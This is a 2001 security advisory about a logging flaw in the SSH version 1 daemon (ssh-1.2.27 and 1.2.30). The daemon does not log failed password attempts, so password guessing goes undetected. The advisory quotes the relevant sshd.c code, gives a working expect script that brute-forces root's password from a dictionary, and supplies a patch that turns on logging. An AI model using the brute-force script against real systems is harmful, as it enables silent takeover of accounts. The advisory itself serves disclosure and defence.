COMMAND
sshd
SYSTEMS AFFECTED
At least ssh-1.2.27 and 1.2.30
PROBLEM
Jose Nazario (Crimelabs Security Note CLABS200101) found
following. There exists a very simple, but potentially damaging,
vulnerability in the SSH version 1 daemon related to the brute
forcing of passwords in accounts. By default the daemon does not
log up to four unsuccessful attempts at guessing a password or a
username/password combination. This allows for the undetected
brute forcing of passwords or account/password combinations. An
exploit is included. A source code patch to ssh-1.2.30 is also
included.
This is unrelated to, but similar to, the problem noted by the
J.J.F./Hackers Team which noted the failure of the ssh version 2
daemon to not log IP addresses upon connections, leading to an
untracable brute force attack.
Depending on the rules in place at the site, if root logins are
allowed (and they are by default) this could lead to a root
account compromise if given enough time or a good enough
dictionary in relation to the password.
While this can readily be done for other login protocols,
including telnet, ftp, and the like, they log failed password
attempts, unlike sshd. As such, it becomes possible to hide one's
intentions as an attempt is made to brute force accounts. It is
for this reason that we mark the risk factor as "Medium to High".
Crimelabs dissuades allowing ssh root logins for many reasons,
including this one. The main argument against it is a lack of
accounting on the system, which would be facilitated by 'su' logs.
Additional reasons include bypassing the limitations placed on
users by 'su' locally, and conformance to traditional UNIX login
standards for telnet and rlogin, which disallow root logins.
Examination of the code reveals this occurs because the message
that would otherwise log this message is wrapped around a debug
routine:
(file sshd.c from sources 1.2.30, one example)
2673- {
2674- /* Log failures if attempted more than once. */
2675: debug("Password authentication failed for user %.100s from %.100s.",
2676- user, get_canonical_hostname());
2677- }
Using the expect language, we can work our way through a
dictionary of potential passwords for the root account via the
sshd version 1 without detection of our true activities.
#!/usr/bin/expect -f
#
# simple expect exploit to brute force root's password via ssh without
# detection.. see CLABS200101 for info on this exploit.
#
# this is beerware, just buy me a beer at defcon if you like this.
# build your own dictionary, use at your own risk, no warranty, etc.
#
# jose@crimelabs.net january, 2001
#
set timeout 3
set target [lindex $argv 0]
set dictionary [lindex $argv 1]
if {[llength $argv] != 2} {
puts stderr "Usage: $argv0 root@target dictionary\n"
exit }
set tryPass [open $dictionary r]
foreach passwd [split [read $tryPass] "\n"] {
spawn ssh $target
expect ":"
send "$passwd\n"
expect "#" { puts "password is $passwd\n" ; exit }
set id [exp_pid]
exec kill -INT $id
}
SOLUTION
The following patch should be applied to sshd.c (this is for the
1.2.30 sources), the daemon rebuilt and reinstalled. Better yet,
upgrade to OpenSSH. Thanks to everyone on the OpenSSH team for a
better product.
The following patch against ssh-1.2.30 code fixes the logging
issue for password authentication, RSA authentication, RhostsRSA
authentication, and TIS authentication. Kerberos4 appears to
still not be logged as a failed password authentication, but
Kerberos5 does. Not having a Kerberos infrastructure to test
this on, we are unable evaluate this portion of the code.
$ diff -Naur ssh-1.2.30/sshd.c.orig ssh-1.2.30/sshd.c
--- ssh-1.2.30/sshd.c.orig Wed Jan 31 12:11:08 2001
+++ ssh-1.2.30/sshd.c Wed Jan 31 12:57:36 2001
@@ -2408,7 +2408,7 @@
remote_user_name = client_user;
break;
}
- debug("Rhosts authentication failed for '%.100s', remote '%.100s', host '%.200s'.",
+ log_msg("Rhosts authentication failed for '%.100s', remote '%.100s', host '%.200s'.",
user, client_user, get_canonical_hostname());
xfree(client_user);
break;
@@ -2469,7 +2469,7 @@
mpz_clear(&client_host_key_n);
break;
}
- debug("RhostsRSA authentication failed for '%.100s', remote '%.100s', host '%.200s'.",
+ log_msg("RhostsRSA authentication failed for '%.100s', remote '%.100s', host '%.200s'.",
user, client_user, get_canonical_hostname());
xfree(client_user);
mpz_clear(&client_host_key_e);
@@ -2500,7 +2500,7 @@
break;
}
mpz_clear(&n);
- debug("RSA authentication for %.100s failed.", user);
+ log_msg("RSA authentication for %.100s failed.", user);
}
break;
@@ -2633,7 +2633,7 @@
authenticated = 1;
break;
} else {
- debug("TIS authentication for %.100s failed",user);
+ log_msg("TIS authentication for %.100s failed",user);
memset(password, 0, strlen(password));
xfree(password);
break;
@@ -2672,7 +2672,7 @@
if (password_attempts > 0)
{
/* Log failures if attempted more than once. */
- debug("Password authentication failed for user %.100s from %.100s.",
+ log_msg("Password authentication failed for user %.100s from %.100s.",
user, get_canonical_hostname());
}
password_attempts++;
@@ -2693,7 +2693,7 @@
authenticated = 1;
break;
}
- debug("Password authentication for %.100s failed.", user);
+ log_msg("Password authentication for %.100s failed.", user);
memset(password, 0, strlen(password));
xfree(password);
break;